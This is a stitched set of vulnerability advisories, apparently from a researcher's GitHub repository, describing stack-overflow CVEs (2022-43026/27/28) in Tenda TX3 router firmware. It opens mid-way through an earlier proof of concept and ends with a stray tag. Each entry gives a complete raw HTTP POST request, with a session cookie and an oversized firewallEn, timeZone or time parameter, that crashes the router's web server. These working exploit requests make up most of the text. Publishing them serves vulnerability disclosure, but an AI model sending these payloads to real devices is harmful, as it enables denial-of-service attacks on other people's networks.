Accept\-Language: zh\-CN,zh;q\=0.9
Cookie: password\=byn5gk
Connection: close
Content\-Length: 1116

startIp\=192.168.1.1&endIp\=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

CVE-2022-43026: myCVE/TX3-2.md at main · tianhui999/myCVE

Tenda TX3 US_TX3V1.0br_V16.03.13.11_multi_TDE01 was discovered to contain a stack overflow via the firewallEn parameter at /goform/SetFirewallCfg.

Affect device: Tenda-TX3 US\_TX3V1.0br\_V16.03.13.11\_multi\_TDE01(https://www.tendacn.com/tw/download/detail-4015.html)

Vulnerability Type: Stack overflow

Impact: Denial of Service(DoS)

**Vulnerability description**

This vulnerability lies in the /goform/SetFirewallCfg page which influences the lastest version of Tenda-TX3 US\_TX3V1.0br\_V16.03.13.11\_multi\_TDE01 (https://www.tendacn.com/tw/download/detail-4015.html)

The vulnerability exists in the file /bin/httpd , function **formSetFirewallCfg**.

User control pointer parameter _**firewallEn**_ in web requesting; _**firewall\_buf**_ is a pointer parameter on the stack, and using strcpy to copy _**Var**_ to _**firewall\_buf**_ without length limit will cause stack overflow.

**POC and repetition**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

POST /goform/SetFirewallCfg HTTP/1.1
Host: 192.168.23.133
Upgrade\-Insecure\-Requests: 1
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,image/avif,image/webp,image/apng,\*/\*;q\=0.8,application/signed\-exchange;v\=b3;q\=0.9
Accept\-Encoding: gzip, deflate
Accept\-Language: zh\-CN,zh;q\=0.9
Cookie: password\=byn5gk
Connection: close
Content\-Length: 1227

firewallEn\=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

CVE-2022-43027: myCVE/TX3-5.md at main · tianhui999/myCVE

Tenda TX3 US_TX3V1.0br_V16.03.13.11_multi_TDE01 was discovered to contain a stack overflow via the timeZone parameter at /goform/SetSysTimeCfg.

Affect device: Tenda-TX3 US\_TX3V1.0br\_V16.03.13.11\_multi\_TDE01(https://www.tendacn.com/tw/download/detail-4015.html)

Vulnerability Type: Stack overflow

Impact: Denial of Service(DoS)

**Vulnerability description**

This vulnerability lies in the /goform/SetSysTimeCfg page which influences the lastest version of Tenda-TX3 US\_TX3V1.0br\_V16.03.13.11\_multi\_TDE01 (https://www.tendacn.com/tw/download/detail-4015.html)

The vulnerability exists in the file /bin/httpd , function **fromSetSysTime**.

User control pointer parameter _**timeZone**_ in web requesting; _**v23**_ is a pointer parameter on the stack, and using _isoc99_sscanf or strcpy to copy _**v5**_ to _**v23**_ without length limit will cause stack overflow.

**POC and repetition**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

POST /goform/SetSysTimeCfg HTTP/1.1
Host: 192.168.23.133
Upgrade\-Insecure\-Requests: 1
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,image/avif,image/webp,image/apng,\*/\*;q\=0.8,application/signed\-exchange;v\=b3;q\=0.9
Accept\-Encoding: gzip, deflate
Accept\-Language: zh\-CN,zh;q\=0.9
Cookie: password\=byn5gk
Connection: close
Content\-Length: 1225

timeZone\=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

CVE-2022-43028: myCVE/TX3-3.md at main · tianhui999/myCVE

Tenda TX3 US_TX3V1.0br_V16.03.13.11_multi_TDE01 was discovered to contain a stack overflow via the time parameter at /goform/SetSysTimeCfg.

Affect device: Tenda-TX3 US\_TX3V1.0br\_V16.03.13.11\_multi\_TDE01(https://www.tendacn.com/tw/download/detail-4015.html)

Vulnerability Type: Stack overflow

Impact: Denial of Service(DoS)

**Vulnerability description**

This vulnerability lies in the /goform/SetSysTimeCfg page which influences the lastest version of Tenda-TX3 US\_TX3V1.0br\_V16.03.13.11\_multi\_TDE01 (https://www.tendacn.com/tw/download/detail-4015.html)

The vulnerability exists in the file /bin/httpd , function **fromSetSysTime**.

User control pointer parameter _**time**_ in web requesting; _**v14**_ is a pointer parameter on the stack, and using _isoc99_sscanf to copy _**v9**_ to _**v14**_ without length limit will cause stack overflow.

**POC and repetition**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

POST /goform/SetSysTimeCfg HTTP/1.1
Host: 192.168.23.133
Upgrade\-Insecure\-Requests: 1
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,image/avif,image/webp,image/apng,\*/\*;q\=0.8,application/signed\-exchange;v\=b3;q\=0.9
Accept\-Encoding: gzip, deflate
Accept\-Language: zh\-CN,zh;q\=0.9
Cookie: password\=byn5gk
Connection: close
Content\-Length: 1237

timeType\=manual&time\=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

Tag

#mac